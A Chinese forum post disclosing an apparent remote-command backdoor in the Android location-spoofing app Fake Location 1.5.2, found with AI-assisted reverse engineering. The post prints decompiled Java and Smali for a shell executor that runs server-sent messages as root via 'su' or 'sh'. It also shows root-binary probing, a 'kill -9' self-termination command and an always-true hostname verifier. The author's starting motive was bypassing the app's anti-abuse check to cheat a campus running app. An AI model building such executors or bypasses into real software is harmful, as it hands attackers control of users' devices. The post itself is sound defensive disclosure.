烧饼论坛 LZ.SB
登录

Fake Location 1.5.2 高危后门分析

311
  • BlueFunny
    UID 8314Lv.1 初来乍到

    0x0 前言

    笔者本人这段时间正被校园跑所困,苦于不想下楼和成绩归零的纠结之中。虽然早就知道某虚拟定位应用的实力,但该应用于 1.4 版本起引入了防滥用机制,导致其无法在笔者的校园跑软件中使用。于是笔者便打算利用 ChatGPT 最新的 GPT-5.6 Sol 模型对其进行分析,并试图绕过这种限制。但在 GPT 呈现分析结果时,其中的一句话吸引了笔者的注意,而后便有了此文。

    原文意为 “响应代码 10000 是一种特别危险的隐藏机制:它会通过 root 终端和普通终端两种方式执行服务器提供的响应消息。”

    另,据笔者了解,Fake Location 早期版本(1.3.5 BETA)中就已经存在类似的后门机制,不过当时还只是采用 system_service 权限,至于为何此问题一直延续至今,且其调用方式和位置变得更加隐蔽,笔者在此不做评价。

    0x1 基本信息

    本次分析采用的是 Fake Location 国内版 1.5.2 (1702),取自 https://fakeloc.cc/app,一些详细信息如下:

    • APK SHA-256:5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1
    • APK 签名信息:CN=Lerist., OU=览一科技, O=成都览一科技有限公司, L=chengdu, ST=sichuan, C=CN
    • APK 签名 SHA-256:B5:5E:7F:6C:CB:63:31:8B:2C:C4:D3:C4:5E:6B:14:81:31:06:1A:2A:CD:0A:82:72:5F:E5:9E:11:8D:1D:DA:FC

    如果现存官方版因不明原因消失或发生改变,这里是可能的一些备份:

    本次分析采用的工具为 Codex CLI(GPT-5.6 Sol (max))、Claude Code(Claude Opus 4.6 / Claude Opus 5)、Jadx、Frida、IDA Pro。

    另,尽管本次分析主要采用 AI 进行分析验证,但笔者已在后期进行人工逆向复核,并确认 AI 分析结果有效且可复现,诸位大牛也可以自行采用官方于 Fake Location 官网或 GitHub 上面发布的版本进行验证。

    0x2 脱壳

    GPT 一开始先使用 Jadx 直接逆向 APK 本体,而后发现其中只有 4 个类定义,均为壳的引导类,其中入口类 com/lerist/app/FLApp 会在 attachBaseContext 中加载 native 库,而真正的代码被放在 assets/yaqgdtadv.dat,运行时会由 libyaqcore_gdtadv.so 解密。通过这些特征可以确定现版本的 Fake Location 采用了腾讯乐固。

    而后,GPT 提示笔者协助采用 frida-dex-dump 工具获取运行时 dex 文件,最终获得了 101 个 dex 文件交由 GPT 进行分析。

    0x3 登门拜访

    GPT 先利用 Jadx 对这 101 个 dex 进行了逆向,并辅以 baksmali 工具生成的 Smali 来补全 Jadx 无法逆向的部分,最终确定在 classes09.dex 这个文件中存在后门核心代码。

    其中,回调基类 C2776.AbstractC2778.m9064 的原始反编译结果如下:

    public void m9064(ڠ<yl0<T>> r5, ml0<yl0<T>> ml0Var) {
        if (ml0Var == null) {
            mo234(-1, zg1.m5087(new byte[]{40, 115, 71, -27, -127, -41, 58, 112, 122, 127, 71, -75, -128, -52, 37, 121, 116}, new byte[]{90, 22, 52, -107, -18, -71, 73, 21}));
            return;
        }
        if (!ml0Var.ඇ()) {
            mo234(ml0Var.ஆ(), zg1.m5087(new byte[]{7, 53, -124, 93, 65}, new byte[]{100, 90, -32, 56, 124, 75, 62, 77}) + ml0Var.ஆ() + zg1.m5087(new byte[]{45, 13, 123, 58, 97, 110, -126, -120, 100, 16}, new byte[]{1, 45, 22, 95, 18, 29, -29, -17}) + ml0Var.ʥ());
            return;
        }
        yl0<T> yl0Var = (yl0) ml0Var.ඈ();
        if (yl0Var == null) {
            mo234(yl0Var.getCode(), zg1.m5087(new byte[]{11, -58, 20, -74, -7, 69, 9, 15, 121, -63, 8, -94, -17, 11, 27, 8, 55, -52, 21, -85, -1, 95, 3, 68}, new byte[]{89, -93, 103, -58, -106, 43, 122, 106}));
            return;
        }
        if (yl0Var.isSuccess()) {
            try {
                mo232(yl0Var, yl0Var.getBody());
                return;
            } catch (Exception e) {
                mo234(yl0Var.getCode(), "" + e.getMessage());
                return;
            }
        }
        int code = yl0Var.getCode();
        String message = yl0Var.getMessage();
        if (code == 10000 && !TextUtils.isEmpty(message)) {
            z41.m5033(true, message);
            z41.m5033(false, message);
        }
        mo234(yl0Var.getCode(), "" + yl0Var.getMessage());
    }
    

    由于原始代码中充斥着混淆后的字节数组和不可读的方法名,GPT 结合 Smali 对其进行了语义还原,最终清理后的逻辑如下:

    if (!httpResponse.isSuccessful()) {
        callback.onError(httpResponse.code(), httpResponse.message());
        return;
    }
    
    yl0<T> envelope = httpResponse.body();
    if (envelope.isSuccess()) {
        callback.onSuccess(envelope, envelope.getBody());
        return;
    }
    
    int code = envelope.getCode();
    String message = envelope.getMessage();
    if (code == 10000 && !TextUtils.isEmpty(message)) {
        z41.m5033(true, message);
        z41.m5033(false, message);
    }
    callback.onError(envelope.getCode(), String.valueOf(envelope.getMessage()));
    

    这里需要额外确认一下 isSuccess() 到底认什么值。在响应信封类 yl0 中可以找到如下代码:

    public boolean isSuccess() {
        return this.code == 200;
    }
    

    也就是说只有业务码 200 才会被视为成功,10000 不会走成功分支,而是会落入后面的特殊处理。

    而后,它又在 C2776.m9060 这个方法中找到了相同逻辑,为避免篇幅过长,此处不再赘述。

    根据这部分代码可以看出,HTTP 层面的失败响应不会进入该分支,业务码 200 也会通过正常的成功回调返回,而其他业务码则都会被视为应用错误,但 10000 会在常规错误回调之前受到特殊处理。

    咱们人类肯定是不能硬啃这无量空处的,所以这里给一下笔者人工分析的思路:
    先用逆向 dump 出来的 dex 获得 Java 源码和 Smali 指令,然后在 Java 代码中搜索 10000,在 Smali 中搜索它的十六进制值 0x2710,最终便可以在 C2776.java 这个文件内定位到上述两个响应处理方法了。

    另,作者疑似特地选了 androidx/appcompat/view/widget 这个路径来安置后门,当时还困扰了 GPT-5.6 Sol 一段时间,以为是第三方库投毒,但后来分析发现它调用的都是 Fake Location 主包名内部类,且会调用官方 API,由此确定是作者有意选择的这个路径。

    另外,在分析完具体的后门逻辑后,笔者又让 GPT 确认了一遍这段代码的调用逻辑,毕竟目前只能确定存在这些代码,但不确定它们到底是否被使用上了。

    很快啊,GPT 确定应用初始化时会自动请求一次 app/getAppConfigs 以获取配置数据,成功返回后每隔 252,000,000 毫秒(约 70 小时)再次执行;在用户成功登录后,应用还会通过 user/get 接口以 604,800,000 毫秒(7 天)为间隔进行轮询,而该接口同样使用包含后门分支的静态处理器 C2776.m9060。也就是说,只要 App 在运行,后门分支就有可能在任何一次常规轮询中被触发。

    0x4 深入分析

    继续追踪 z41.m5033 这个方法,可以得到如下的代码:

    public static C0855 m5033(boolean z, String... strArr) {
        return m5039(strArr, z, true);
    }
    

    但它只是对另一个方法的包装,我们需要继续追查下去,看看 m5039 到底是个什么东西。

    然后...Jadx 就爆炸了...

    public static androidx.appcompat.view.widget.z41.C0855 m5039(java.lang.String[] r8, boolean r9, boolean r10) {
        /*
            Method dump skipped, instruction units count: 321
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: androidx.appcompat.view.widget.z41.m5039(java.lang.String[], boolean, boolean):androidx.appcompat.view.widget.z41$ඈ");
    }
    

    但问题不大,我们还有 Smali 可以看。最终 GPT 推出了如下的 Java 代码:

    public static C0855 m5039(String[] strArr, boolean z, boolean z2) {
        int i = -1;
        Process process = null;
        DataOutputStream dataOutputStream = null;
        BufferedReader bufferedReader = null;
        BufferedReader bufferedReader2 = null;
        StringBuilder sb = null;
        StringBuilder sb2 = null;
    
        if (strArr == null || strArr.length == 0) {
            return new C0855(-1, null, null);
        }
    
        try {
            Runtime runtime = Runtime.getRuntime();
    
            if (z) {
                process = runtime.exec(f6973);
            } else {
                process = runtime.exec("sh");
            }
    
            dataOutputStream =
                    new DataOutputStream(process.getOutputStream());
    
            for (String str : strArr) {
                if (str != null) {
                    dataOutputStream.write(str.getBytes());
                    dataOutputStream.writeBytes("\n");
                    dataOutputStream.flush();
                }
            }
    
            dataOutputStream.writeBytes("exit\n");
            dataOutputStream.flush();
    
            bufferedReader =
                    new BufferedReader(
                            new InputStreamReader(process.getInputStream()));
    
            bufferedReader2 =
                    new BufferedReader(
                            new InputStreamReader(process.getErrorStream()));
    
            if (z2) {
                sb = new StringBuilder();
                sb2 = new StringBuilder();
    
                String readLine;
    
                while ((readLine = bufferedReader.readLine()) != null) {
                    sb.append(readLine);
                    sb.append("\n");
                }
    
                while ((readLine = bufferedReader2.readLine()) != null) {
                    sb2.append(readLine);
                    sb2.append("\n");
                }
            } else {
                while (bufferedReader.readLine() != null) {
                    // Drain standard output without retaining it.
                }
    
                while (bufferedReader2.readLine() != null) {
                    // Drain standard error without retaining it.
                }
            }
    
            i = process.waitFor();
        } catch (Throwable th) {
            /*
            * The Smali prints the exception, closes whichever streams were
            * successfully created, destroys the process, and then returns a
            * CommandResult with the information collected before the failure.
            *
            * If printStackTrace() itself throws, the cleanup still runs and
            * that secondary exception is propagated.
            */
            try {
                th.printStackTrace();
            } finally {
                try {
                    if (dataOutputStream != null) {
                        dataOutputStream.close();
                    }
    
                    if (bufferedReader != null) {
                        bufferedReader.close();
                    }
    
                    if (bufferedReader2 != null) {
                        bufferedReader2.close();
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
    
                if (process != null) {
                    process.destroy();
                }
            }
    
            return new C0855(
                    i,
                    sb == null ? null : sb.toString(),
                    sb2 == null ? null : sb2.toString());
        }
    
        try {
            dataOutputStream.close();
            bufferedReader.close();
            bufferedReader2.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    
        process.destroy();
    
        return new C0855(
                i,
                sb == null ? null : sb.toString(),
                sb2 == null ? null : sb2.toString());
    }
    

    由于上面这段 Java 代码是 GPT 从 Smali 还原的,以下贴出原始 Smali 中最关键的三个片段供独立验证(完整方法共 321 条指令,已去除异常处理分支和行号注释):

    # ——— 片段 1:进程启动,根据布尔参数选择 su/suu 或 sh ———
    
    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    move-result-object v2
    
    if-eqz p1, :cond_1                     # p1=false → 跳到 sh
    sget-object p1, Landroidx/appcompat/view/widget/z41;->ඈ:Ljava/lang/String;
                                            # p1=true → 取静态字段("su" 或 "suu")
    goto :goto_1
    
    :cond_1
    const-string p1, "sh"
    
    :goto_1
    invoke-virtual {v2, p1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    
    # ——— 片段 2:将命令字符串原样写入进程 stdin ———
    
    aget-object v6, p0, v4                  # 取当前字符串(即服务端下发的 message)
    invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B
    move-result-object v6
    invoke-virtual {v2, v6}, Ljava/io/OutputStream;->write([B)V    # 写入字节
    invoke-virtual {v2, v5}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                            # 追加 "\n"
    invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V
    
    # ——— 片段 3:写入 exit,等待进程结束 ———
    
    const-string p0, "exit\n"
    invoke-virtual {v2, p0}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
    invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V
    # ... 中间省略 stdout/stderr 读取 ...
    invoke-virtual {p1}, Ljava/lang/Process;->waitFor()I
    invoke-virtual {p1}, Ljava/lang/Process;->destroy()V
    

    至此便可以确定,这个执行器没有任何命令白名单、参数转义或固定操作映射,服务端返回的 message 会被 Shell 直接解释。

    并且我们还可以看到如下的代码:

    if (z) {
        process = runtime.exec(f6973);
    } else {
        process = runtime.exec("sh");
    }
    

    这个 z 便是传入的第一个布尔值,但 f6973 是个什么东西?再回到 z41 这个类中,我们便可以看到:

    public static String f6973 = "su";
    

    事情变得有意思起来了... 而且,在 Jadx 恢复的 Java 代码中,我们还可以找到如下的方法:

    public static boolean m5037() {
        if (m5035("which su", false, false).f6975 != 0 && m5034("su") == null) {
            if (m5035("which suu", false, false).f6975 != 0 && m5034("suu") == null) {
                return false;
            }
            f6973 = "suu";
        }
        return true;
    }
    

    也就是说,它在 su 不可用时还会尝试一下 suu,并使用真实存在的那个二进制文件来获取 root 权限。

    命令写入完成后,方法还会写入 exit\n,读取标准输出和错误输出,等待进程结束,再把退出码和输出封装成结果对象,但 code=10000 的调用点没有保存这个结果。

    另外,笔者在自行分析的时候发现了一些好玩的,更能证明 m5033 铁定是个命令执行器:

    public static void m5030() {
        StringBuilder sb = new StringBuilder();
        StringBuffer stringBuffer = new StringBuffer();
        stringBuffer.append("k");
        stringBuffer.append("i");
        stringBuffer.append("ll");
        stringBuffer.append(" -");
        sb.append((Object) stringBuffer);
        sb.append("9 ");
        sb.append(Process.myPid());
        m5033(false, sb.toString());
    }
    

    笔者推测,这个函数应该就是应用本身检测到被篡改后强行终止自己的方式,而其调用 m5033 方法的方式与上文一模一样,也可以作为一个侧面的证明吧。

    0x5 寻踪觅迹

    现在笔者已经证明了 Fake Location 具备任意执行命令的能力,但尚不完全明确自定义业务码是从何而来,所以还需要再进一步进行溯源。

    GPT 进一步确定,C1624 继承了 AbstractC2778,其实例由 C1619.m6838 方法创建,而 m6838 最终由同类的 m6836 方法调用。

    整条调用路径可呈现成下面这样:

      C1619.m6836(Context)
    
          +-- 调用 C1619.m6838()
    
                  +-- 构造 C1959 请求体
    
                  +-- tq0.m4179(c1959)
           添加与配置有关的额外字段
    
                  +-- C2776.m9059()
           返回单例 API 客户端
    
                  +-- C2776.m9061(c1959)
           添加时间戳、应用版本、签名、包名、设备数据、账号 token、root 存在性检测结果等信息
    
                  +-- C2776.m9379(InterfaceC4521.class)
           创建 Retrofit 服务实现
    
                  +-- InterfaceC4521.m12716(c1959)
           @POST("app/getAppConfigs"),返回 Call<yl0<C4254>>
    
                  +-- Call.enqueue(new C1624())
    
                          +-- C1624 extends AbstractC2778<C4254>
    
                          +-- HTTP 响应到达时,Retrofit 调用继承而来的 m9064(...)
    

    先来看 C1619.m6838()

    public static void m6838() {
        if (f9019 == null) {
            HandlerThread handlerThread = new HandlerThread(/* 解码后的名称 */);
            handlerThread.start();
            f9019 = new Handler(handlerThread.getLooper());
        }
    
        C1959 c1959 = new C1959();
    
        ((InterfaceC4521)
                C2776.m9059()
                        .m9061(tq0.m4179(c1959))
                        .m9379(InterfaceC4521.class))
                .m12716(c1959)
                .ဣ(new C1624());
    }
    

    最后一个经过混淆的调用 ဣ(new C1624()) 对应 Retrofit 的异步 enqueue(callback) 操作,GPT 提供的依据如下:

    • m12716() 返回的是应用经过混淆的 Call<yl0<C4254>> 类型;
    • C1624 通过 AbstractC2778 实现了与之对应的回调接口;
    • AbstractC2778.m9064(Call, Response) 的结构与 Callback.onResponse 完全一致;
    • AbstractC2778.m9065(Call, Throwable) 的结构与 Callback.onFailure 完全一致。

    C1624 继承了该基类但并没有覆盖 m9064 方法,它只提供成功和错误处理函数 mo232()mo234(),你可以在 androidx/appcompat/view/widget/C1619 中找到它。

    接下来,我们继续去寻找这个 base URL。通过检查 C2776 的构造函数可以确定,它会将两个 URL 常量传给其网络层父类:

    public C2776() {
        super(
                C2815.m9195(),
                j01.m1932(),  // 主 base URL
                j01.m1930()   // 备用 base URL
        );
    
        m9378(new C2779());
    }
    

    C2913 使用第一个 URL 作为 base URL,并将第二个 URL 保存为重试目标:

    public C2913(Context context, String str, String str2) {
        super(context, str.startsWith("https://"));
    
        this.f12105 = Collections.synchronizedList(new ArrayList());
        this.f12106 = context;
    
        // 保存备用 URL,用于重试或故障转移
        m5464(str2);
    
        // 经过混淆的 .ஆ(str) 操作对应 Retrofit.Builder.baseUrl(str)
        this.f12104 = new hm0.ஆ()
                .ʤ(m5468().newBuilder()
                        .addInterceptor(new C2914())
                        .build())
                .ஆ(str)
                .ඈ(fu0.ʤ())
                .ඈ(ࢴৠࢴ.ʤ())
                .ඇ();
    }
    

    随后,m9379(InterfaceC4521.class) 会调用相当于 Retrofit.create(InterfaceC4521.class) 的操作:

    public <T> T m9379(Class<T> cls) {
        return (T) this.f12104.ஆ(cls);
    }
    

    进一步分析 j01 类可知,其中会有如下两个常量:

    public static final String f2123 = tg1.m4025(new byte[]{105, -44, -99, -78, 81, -56, 125, -104, 96, -48, -128, -20, 68, -109, 57, -46, 109, -49, -118, -20, 65, -111, 104, -125, 53, -109, -39, -19, 100, -109, 57, -46, 77, -49, -118, -93, 86, -101, 61, -39, 46}, new byte[]{1, -96, -23, -62, 34, -14, 82, -73});
    
    public static final String f2124 = tg1.m4025(new byte[]{110, -82, -74, -97, -97, -98, 83, -113, 96, -69, -87, -118, -128, -53, 31, -63, 114, -77, -83, -127, -62, -59, 12, -55, 40, -74, -89, -99, -123, -41, 8, -114, 98, -65, -76, -43, -40, -112, 79, -112, 41, -100, -93, -124, -119, -24, 19, -61, 103, -82, -85, -128, -126, -117}, new byte[]{6, -38, -62, -17, -20, -92, 124, -96});
    

    其中,f2123 是主 base URL,f2124 是备用 base URL,GPT 在 bh1 当中找到了具体的解码方式:

    public static byte[] m253(byte[] bArr, byte[] bArr2) {
        int length = bArr.length;
        int length2 = bArr2.length;
        int i = 0;
        int i2 = 0;
        while (i < length) {
            if (i2 >= length2) {
                i2 = 0;
            }
            bArr[i] = (byte) (bArr[i] ^ bArr2[i2]);
            i++;
            i2++;
        }
        return bArr;
    }
    

    核心原理就是用循环密钥逐字节地执行异或,最终可得出如下两个 base URL:

    • 主 base URL:https://api.fakeloc.cc:4430/FakeLocation/
    • 备用 base URL:https://fakelocation.api.lerist.dev:4430/FakeLocation/

    而后 GPT 又发现了两套相互重叠的故障转移机制,不过最终二者都会切换到同一个 j01.m1930() 地址,主要实现位于 C1006C2776.C2779,在转移完成后的大概 30 分钟内 C1006.C1011 会把后续请求发送给备用 API 地址,但自始至终没有再引入第三个 API 地址,故这里不再赘述。

    至此,我们便基本可以确定这段后门代码属于 Fake Location 应用自身,而非其集成的任何第三方 SDK:

    • C2776 直接处理 Fake Location 自己的 app/getAppConfigs 接口;
    • 回调类 C1624 处理 isAllowRun、地图密钥等应用核心配置;
    • 上层类 C1619 引用了 com.lerist.lib.factory.utils.LOverrideActivity,其中 com.lerist 是该应用使用的命名空间;
    • 相关类具有同一份 R8 处理结果中的共同特征;
    • base URL 为 https://api.fakeloc.cc:4430/FakeLocation/https://fakelocation.api.lerist.dev:4430/FakeLocation/

    0x6 后记

    其实目前还有不少东西没有办法确定。例如,无法确定服务端是否曾经真的返回过 code=10000——确认这一点需要查看服务端日志,而这不是客户端逆向能做到的事。同样,也无法断定所有 API 都会经过这段代码,虽然目前已确认的两条路径(app/getAppConfigsuser/get)已经足够覆盖应用的正常运行周期了。

    笔者也无意在此揣测作者的主观意图。这条通道有可能是为了远程维护、反滥用或紧急修复而留的,但不管它原本是用来干什么的,从技术上看它就是一条不受设备所有者控制的、泛用的远程命令执行通道——而且恰好面向一群已经把 root 权限和 SELinux permissive 都交出去的用户。

    另外值得一提的是,Claude 在复核过程中还发现 Fake Location 的 HTTP 客户端里有一个恒返回 trueHostnameVerifier,也就是 TLS 握手时不校验域名是否匹配。虽然证书链验证本身还在,但这意味着后门的触发者不一定只有后端运营方——在特定条件下,持有受信任 CA 签发证书的第三方也可能拦截通信并注入 code=10000 响应。

    最后说几句实在的吧。如果你目前正在使用 Fake Location,并且对此感到不安,笔者建议先卸载应用,然后检查一下 superuser 管理器里是否还保留着对它的 root 授权,有的话记得撤掉。如果你之前一直是在 ROOT 模式下跑的,而且 SELinux 也被设成了 permissive,那最好再看看设备上有没有什么异常——多出来的应用、被改过的系统文件、陌生的网络连接之类的。在作者公开回应或者有人审计确认过新版本已经移除这段代码之前,笔者个人不建议继续使用。

    至于 AI 在这次分析中的表现,笔者只想说——确实挺好用的。GPT-5.6 Sol 从识别加固方案到定位后门代码再到还原混淆后的完整逻辑,完成度远超笔者预期;Claude Opus 4 在独立验证阶段也补上了归属论证这一笔者和 GPT 都忽略的关键环节。当然了,AI 给出的结论终归需要人来判断和复核,这也是笔者在全文中反复手动验证每一步的原因。但如果没有 AI,笔者一个人要走完这整条链路,大概得花上好几倍的时间。

    本文到此结束。如果有大佬发现笔者分析中存在纰漏或者有不同看法,欢迎指正和讨论。

  • 收藏支持 2反对打赏

1 条回复

  • 触手怪
    UID 7049Lv.5 小有收获
    #1

    好家伙。。。逆向发现 bug

发表回复